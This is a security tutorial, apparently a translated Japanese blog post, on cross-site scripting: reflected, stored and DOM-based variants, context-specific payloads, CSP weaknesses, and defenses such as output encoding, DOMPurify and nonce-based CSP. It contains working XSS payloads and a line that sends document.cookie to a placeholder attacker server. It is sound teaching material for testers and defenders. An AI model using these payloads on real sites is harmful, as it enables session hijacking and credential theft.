Skip to main content
友田 陽大
実践Webハッキング技法
セキュリティ
ホワイトハッカー
XSS
脆弱性診断
Webセキュリティ

A complete conquest of XSS attacks [2026]: reflected, stored, DOM-based / context-specific payloads / CSP bypass — a version faithful to the official docs

An in-depth look at cross-site scripting (XSS) attack techniques, faithful to the PortSwigger Web Security Academy. The differences and detection of reflected, stored, and DOM-based; crafting payloads for the HTML/attribute/JavaScript/URL contexts; DOM-based XSS traced source→sink; the role of CSP (Content Security Policy) and the thinking behind bypassing it; and root-cause defenses via context-specific output encoding and Trusted Types — explained with examples limited to your own lab.

Published
Reading time
6 min read
Author
友田 陽大
Share

XSS (cross-site scripting) is a vulnerability that executes the attacker's JavaScript in the victim's browser. Session hijacking, credential theft, impersonated operations — as PortSwigger says, it can "compromise the entire interaction between users and the app." This article explains those attack techniques faithfully to the official source, at a hands-on granularity.

An absolute premise: all payloads only within a legal lab or an authorized scope. Even "just trying a little" on someone else's site can be illegal without authorization (→ the legal guide). For the map of attack classes, see the pillar.


1. The essence of XSS — ignoring the output context

XSS is often misunderstood as "an input problem," but precisely, it's an output problem. Even the same "><script> has different escaping requirements depending on where it's output.

<!-- ① HTML本文に出る → タグとして解釈される -->
<div>こんにちは、[ここに出力]さん</div>

<!-- ② 属性値に出る → 属性を閉じてイベントハンドラを足せる -->
<input value="[ここに出力]">

<!-- ③ <script>内に出る → JS文字列を閉じてコードを足せる -->
<script>var name = "[ここに出力]";</script>

The first step of detection is to insert a unique string like xss1234 and confirm where, and how escaped, it appears in the response. From there, you assemble a context-appropriate "breakout."


2. Reflected XSS

A case where input is immediately reflected into the response of that request. The attacker gets the victim to click a crafted URL.

# 検索パラメータがそのままHTML本文に反射される場合
https://lab.example/search?q=<script>alert(document.domain)</script>

In practice, demonstrate up to the impact rather than alert() (PoC). For example, sending the session cookie to the attacker's server — but this is only in your own lab / authorized scope.

<script>new Image().src='https://<自分の検証用>/c?'+document.cookie</script>

3. Stored XSS — the highest impact

It triggers when input is saved to the DB and later displayed to other users. Comment fields, profiles, and product reviews are the staple entry points.

# レビュー本文に保存される
コメント: 素晴らしい商品です<script>/* 閲覧した全員のブラウザで実行 */</script>

Reflected requires "getting them to click," but stored triggers on "everyone who views it." Saved into an admin screen, it can seize the admin's session. The impact is on another level, so always test all saved inputs (especially screens the admin views).


4. DOM-based XSS — from source to sink

It occurs when the client's JavaScript does something dangerous without going through the server. The iron rule is to trace by the data flow (source → sink).

// 脆弱な例:URLのフラグメント(source)を innerHTML(sink)へ直接渡す
const q = location.hash.slice(1);        // source: 攻撃者が制御できる
document.getElementById("out").innerHTML = q;  // sink: HTMLとして解釈される
# 攻撃URL(# 以降はサーバーに送られず、クライアントだけで処理される)
https://lab.example/#<img src=x onerror=alert(document.domain)>
source (input source)sink (dangerous output)
location.hash / search / hrefinnerHTML / outerHTML
document.referrerdocument.write()
postMessage dataeval() / Function()
localStoragejQuery $(...).html()

Since DOM-based leaves no trace in the server's response, it's not found by Burp's response inspection alone. A mechanism like Burp's DOM Invader, which traces source→sink within the browser, is effective.


5. Crafting payloads per context

"The same payload works everywhere" is wrong. Design the breakout according to the context.

<!-- 属性値コンテキスト:属性を閉じてイベントを注入 -->
"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="

<!-- JS文字列コンテキスト:文字列とスクリプトを閉じる -->
</script><script>alert(1)</script>
'-alert(1)-'

<!-- HTMLタグが除去される環境:タグなしで発火 -->
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>

Even if <script> is filtered, you can trigger via event handlers like onerror/onload/ontoggle — so you see that a blacklist that "only removes <script>" is incomplete. PortSwigger's XSS cheat sheet is comprehensive.


6. CSP (Content Security Policy) — the last line of defense, and its bypass

CSP is defense-in-depth that declares to the browser "from where scripts may be loaded/executed." It can't fully prevent XSS, but it greatly mitigates the damage.

# 強いCSPの例:nonce + strict-dynamic(インラインも外部も原則禁止)
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'

Conversely, a weak CSP is bypassed. Representative holes:

  • Allowing 'unsafe-inline' → inline scripts get through, rendering CSP nearly meaningless.
  • Lax host allowances (e.g. an entire CDN or a domain that returns JSONP) → script execution via there.
  • base-uri unset → <base> injection hijacks the load target of relative URLs.

A design lesson: build CSP with nonce-based + strict-dynamic and don't use unsafe-inline. The Next.js implementation (issuing a nonce in middleware) is detailed in the security-headers/CSP implementation guide. CSP is not a substitute for input defense; it's insurance for when input defense breaks.


7. [Defender side] Root-cause defense — context-specific output encoding

The conclusions of PortSwigger and OWASP XSS Prevention agree. "The correct encoding for the context you output into" is the main line.

// ✅ React等のフレームワークは既定で文脈に応じてエスケープする
// → 自動エスケープを「外さない」のが最大の防御
function Comment({ text }: { text: string }) {
  return <div>{text}</div>; // {} 補間は自動でHTMLエスケープされる(安全)
}

// ⚠️ dangerouslySetInnerHTML はエスケープを外す = XSSの主要因
// 使うなら必ずサニタイズ(DOMPurify等)を通し、監査対象にする
function RichText({ html }: { html: string }) {
  const clean = DOMPurify.sanitize(html); // 許可タグだけ残す
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Let's organize the design principles.

  • HTML body → HTML-entity encode (<&lt;). Leave it to the framework's automatic interpolation.
  • Attribute value → encoding for the attribute context + always wrap in quotes.
  • JavaScript → don't write user input directly inside <script>. Separate it into a data layer via JSON.stringify.
  • DOM operations → avoid innerHTML and use textContent. If you must use it, introduce Trusted Types.
  • URL → reject the javascript: scheme, and use encodeURIComponent.
  • Defense in depth → nonce-based CSP, HttpOnly cookies (so JS can't read the session).

The concrete detection and defense of DOM XSS and dangerouslySetInnerHTML in a Next.js × Supabase environment is summarized in the dedicated guide.


8. Summary

  • The essence is the output context: even the same input has different escaping requirements in the HTML body/attribute/JS/URL.
  • Three types: reflected (get them to click), stored (everyone who views, max impact), DOM (source→sink). Don't miss stored and DOM.
  • Blacklists break: even if you remove <script>, it triggers via onerror, etc.
  • CSP is insurance: build with nonce + strict-dynamic. unsafe-inline is forbidden.
  • The root-cause defense is context-specific encoding: don't disable the framework's automatic escaping. textContent over innerHTML.

Next, head to the complete conquest of SSRF attacks, which uses the server itself as a stepping stone.


References (official primary sources)

友田

友田 陽大

Developer of a METI Minister's Award–winning product. With TypeScript + Python + AWS, I deliver SaaS, industry DX, and production-grade generative AI (RAG) end to end — from requirements to infrastructure and operations — single-handedly.

What if this attack were reproduced on your app?

Web-app vulnerability assessment & penetration testing

I actually reproduce and assess the SQLi, XSS, SSRF, JWT, auth, and SSTI attacks covered here on your app, and take it through from design to fix. Only those who know the attacker's moves can preempt where it breaks at the design stage. You're welcome to visualize the current state with the free OSS first.

Available for both project-based (contract) and advisory engagements. Start with a free 30-minute consult.

Also worth reading